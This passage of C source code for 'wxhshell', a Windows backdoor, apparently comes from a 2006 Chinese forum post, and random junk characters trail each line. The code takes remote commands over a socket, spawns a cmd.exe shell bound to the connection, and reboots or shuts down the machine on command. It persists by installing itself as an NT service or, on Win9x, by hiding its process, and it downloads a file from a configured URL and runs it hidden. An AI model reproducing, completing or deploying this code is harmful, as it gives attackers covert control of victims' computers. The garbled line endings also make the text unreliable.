  case '?': { y&2O)z!B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <X]dR 6FT  
    break; \C`2z]V%  
  } zmU>  
  // 安装 i$z*~SuM#  
  case 'i': { Oyy E0  
    if(Install()) {y|j**NZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9S{0vc/2@  
    else fCi1JH;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k; vhQ=  
    break; &MGM9 zm-]  
    } 6"La`}B(T8  
  // 卸载 iuEQ?fp  
  case 'r': { >\>!Q V1@  
    if(Uninstall()) mA6Nmq%{ F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5}`e"X  
    else 3mXRLx=0>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DZV U!J  
    break; D<xDj#Z~1  
    } ]PZ\N~T  
  // 显示 wxhshell 所在路径 ~Q5 i0s%  
  case 'p': { _E xd:  
    char svExeFile[MAX_PATH]; q%MLj./?[  
    strcpy(svExeFile,"\n\r"); 3 ~\S]  
      strcat(svExeFile,ExeFile); 7)y +QU]  
        send(wsh,svExeFile,strlen(svExeFile),0); KgEfhO$W  
    break; B0:/7Ld$Ml  
    } 1'9YY")#  
  // 重启 r r(UE  
  case 'b': { z229:L6"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -P=Hp/ELi  
    if(Boot(REBOOT)) 4$8\IJ7G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '0/[%Q  
    else { aKC3v R0  
    closesocket(wsh); Iih]q  
    ExitThread(0); G:{\-R'  
    } fnudu0k  
    break; #[NNb?`F  
    } Be2yS]U  
  // 关机 5gY9D!;:0D  
  case 'd': { 3(>NS?lX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q<w Q/m  
    if(Boot(SHUTDOWN)) [Xo}CU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2?\L#=<F  
    else { 2^=.jML[  
    closesocket(wsh); v(z2,?/4  
    ExitThread(0); XLsOn(U\&  
    } :*s+X$x,<  
    break; }A'Ro/n  
    } +@5*_n\e`  
  // 获取shell - WK  
  case 's': { 6*=7ifS  
    CmdShell(wsh); Q1?0 ]5  
    closesocket(wsh); z+%74O"c  
    ExitThread(0); UJ6zgsD1b?  
    break; .3,6Oo  
  } TeWpdUCO  
  // 退出 \t@4)+s/)  
  case 'x': { 1PjqXgN5p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MuQ'L=iJ  
    CloseIt(wsh); yaKw/vV  
    break; Hnc<)_DF  
    } c9)5G+   
  // 离开 eFdN"8EW  
  case 'q': { 088"7 s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Bwg\_:vq  
    closesocket(wsh); Ba /^CS  
    WSACleanup(); :T #"bY  
    exit(1); C#4/~+  
    break; MJ0UZxnl  
        } *;y n_zg  
  } vQIN#;m4  
  } %e'Z.vm  
K5SP8<.  
  // 提示信息 JW-!m8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W;@9x1jK X  
} qmM%MPv  
  } e3b|z.^8  
yCOIv!/zy  
  return; Kk_h&by?  
} ?\$\YX%/p  
{f<\`  
// shell模块句柄 ;5wr5H3  
int CmdShell(SOCKET sock) K{x FhdW  
{ v9R"dc]0h  
STARTUPINFO si; CiSl 0  
ZeroMemory(&si,sizeof(si)); v5N2$Sqp*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j}$Up7pW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~M4@hG!  
PROCESS_INFORMATION ProcessInfo; e=%6\&q  
char cmdline[]="cmd"; a4L0Itrp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZT'Sw%U:  
  return 0; r(::3TF%#q  
} Qo;#}%}^^  
9x40  
// 自身启动模式 Vdz(\-}ao  
int StartFromService(void) mv+K!T6  
{ U\\nSU  
typedef struct 3!V$fl0  
{ 9?_ybO~Oq  
  DWORD ExitStatus; :xP$iEA`G  
  DWORD PebBaseAddress; ] 336FgT  
  DWORD AffinityMask; GXE6=BO  
  DWORD BasePriority; ^3:DeZf!u  
  ULONG UniqueProcessId; f YuM`O  
  ULONG InheritedFromUniqueProcessId; }_{QsPx9  
}   PROCESS_BASIC_INFORMATION; 2!4.L&Ki  
P_w\d/3  
PROCNTQSIP NtQueryInformationProcess; ,LHQ@/}A C  
6Q6l?!|W4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Iu -CXc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]$vJK  
<.h\%&'U  
  HANDLE             hProcess; 3koXM_4_{)  
  PROCESS_BASIC_INFORMATION pbi; v8`)h<:W?  
X}5aE4K/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6!3Jr  
  if(NULL == hInst ) return 0; iWN-X (  
@-ma_0cZQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); joN}N}U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $qx&\@O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !j3V'XU#Zn  
f 2#9E+IQ  
  if (!NtQueryInformationProcess) return 0; s\`Vr;R:|  
/~LXY< -(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N&0MA  
  if(!hProcess) return 0; `37GVo4  
WLAJqmC]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YORFq9a{R  
W].P(A>m  
  CloseHandle(hProcess); QS~;C&1Hl  
a* pZcv<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8O]U&A@  
if(hProcess==NULL) return 0; lbES9o5  
Te8BFcJG  
HMODULE hMod; FNDLqf!j  
char procName[255]; jz[|rwAp  
unsigned long cbNeeded; s'^zudx  
f$E66yG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8j,_  
@Y>3-,o,S  
  CloseHandle(hProcess); ! 40t:+I  
c= 2e?  
if(strstr(procName,"services")) return 1; // 以服务启动 J{mP5<8>b  
UZdE ^Q[  
  return 0; // 注册表启动 lO9{S=N  
} s9A'{F  
~MY (6P  
// 主模块 F.=u Jdl.!  
int StartWxhshell(LPSTR lpCmdLine) %6 <Pt  
{ 71tMX[x  
  SOCKET wsl; {K'SOh H4?  
BOOL val=TRUE; e>t9\vN#bx  
  int port=0; |Z;w k&  
  struct sockaddr_in door; lkg-l<c\J  
?E2k]y6<  
  if(wscfg.ws_autoins) Install(); xgR*j  
T , =ga  
port=atoi(lpCmdLine); 2al~`  
y`Pp"!P"O  
if(port<=0) port=wscfg.ws_port; BHmA*3?  
tL+8nTL  
  WSADATA data; A2&&iL=j/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "tIf$z  
|->y'V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %Z{J=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N0RFPEQ~  
  door.sin_family = AF_INET; _ga!TQ:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TiBE9  
  door.sin_port = htons(port); k7{fkl9|#  
wI}'wALhA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SA>;]6)`(  
closesocket(wsl); pjj 5  
return 1; Y)u} +Yg  
} 6 qKIz{;  
o m_&|9B)  
  if(listen(wsl,2) == INVALID_SOCKET) { ] |`gTD6  
closesocket(wsl); G0s:Dum  
return 1; 2Bjp{)*  
} , D1[}Lr=K  
  Wxhshell(wsl); S ,(@Q~  
  WSACleanup(); 4}LF>_+=  
wCt+{Y3T  
return 0; <uTsX v  
,IJNuu\  
} ^Js9E  
3+|6])Hi1  
// 以NT服务方式启动 _&%!4n#>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DpS6>$v8t  
{ EhFhL4Xdn  
DWORD   status = 0; *Ra")(RnDK  
  DWORD   specificError = 0xfffffff; `f'q/  
(x^|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G>RYQ{O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x b0+4w|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ; %Da {  
  serviceStatus.dwWin32ExitCode     = 0; \~)573'  
  serviceStatus.dwServiceSpecificExitCode = 0; ^w12k2a  
  serviceStatus.dwCheckPoint       = 0; CXQ ?P  
  serviceStatus.dwWaitHint       = 0; #wjBMR%  
Ys_YjlMIbl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |Gf{}  
  if (hServiceStatusHandle==0) return; {PVu3 W  
9bNIaC*M  
status = GetLastError(); j d8 1E  
  if (status!=NO_ERROR) UKJY.W!w4  
{ >@L HJ61C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h@DJ/&;u@  
    serviceStatus.dwCheckPoint       = 0; 4B y-+C*  
    serviceStatus.dwWaitHint       = 0; kxmS   
    serviceStatus.dwWin32ExitCode     = status; YQ)m?=+J  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^`!Daqk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \S<5b&G  
    return; 72,iRH  
  } *@& "MZ/M  
-0X> y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Zb }PP;O  
  serviceStatus.dwCheckPoint       = 0; JgB# EoF  
  serviceStatus.dwWaitHint       = 0; ( 7?%Hg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0/ Ht;(  
} 9vbh5xX   
[dJ\|=  
// 处理NT服务事件,比如:启动、停止 W$JA4O>b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vRq xZN  
{ dc>y7$2  
switch(fdwControl) dvD<>{U,8  
{ *02( J  
case SERVICE_CONTROL_STOP: ]2(c$R  
  serviceStatus.dwWin32ExitCode = 0; qj6`nbZ{va  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yx2.7h3  
  serviceStatus.dwCheckPoint   = 0; 6b/b} vl  
  serviceStatus.dwWaitHint     = 0; Ds87#/Yfv  
  { zFtGc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >.iw8#l  
  } vs. uq  
  return; QP B"E W  
case SERVICE_CONTROL_PAUSE: c Vn+~m_%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [!&k?.*;<  
  break; BB.TrQM.#  
case SERVICE_CONTROL_CONTINUE: T]|O/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lAk1ncx  
  break; uB1!*S1f  
case SERVICE_CONTROL_INTERROGATE: k^pu1g=6I  
  break; hzLGmWN2j8  
}; nEm7&Gb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u mlZ(??.  
} pU ]{Z(  
n6 G&^Oj  
// 标准应用程序主函数  ^qqHq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {0e{!v  
{ f hG2  
WdqK/s<jM  
// 获取操作系统版本  s7 o*|Xv  
OsIsNt=GetOsVer(); 9Nu#&_2R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t4/eB<fP  
f#kevf9zc  
  // 从命令行安装 _CJr6Evs  
  if(strpbrk(lpCmdLine,"iI")) Install(); q "D L6 >j  
.p9h$z^  
  // 下载执行文件 pMp9 O/u%  
if(wscfg.ws_downexe) { 2U'JzE^Do  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j{R|]SjW2H  
  WinExec(wscfg.ws_filenam,SW_HIDE); $Q?G*@y  
} +Nbk\%  
?gwbg*  
if(!OsIsNt) { jL+}F/~r  
// 如果时win9x,隐藏进程并且设置为注册表启动 K4/P(*r`  
HideProc(); ~|{)h^]@  
StartWxhshell(lpCmdLine); UT<b v}(J  
} $lAb6e$n  
else $a*Q).^  
  if(StartFromService()) sQAc"S  
  // 以服务方式启动 Zmbz-##HQ  
  StartServiceCtrlDispatcher(DispatchTable); (vsk^3R[6  
else @b*T4hwA.  
  // 普通方式启动 %[\x%m)  
  StartWxhshell(lpCmdLine); liw 9:@+V  
g~hk-nXL.  
return 0; +.#S[G  
}
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只看该作者 1 发表于: 2006-10-10
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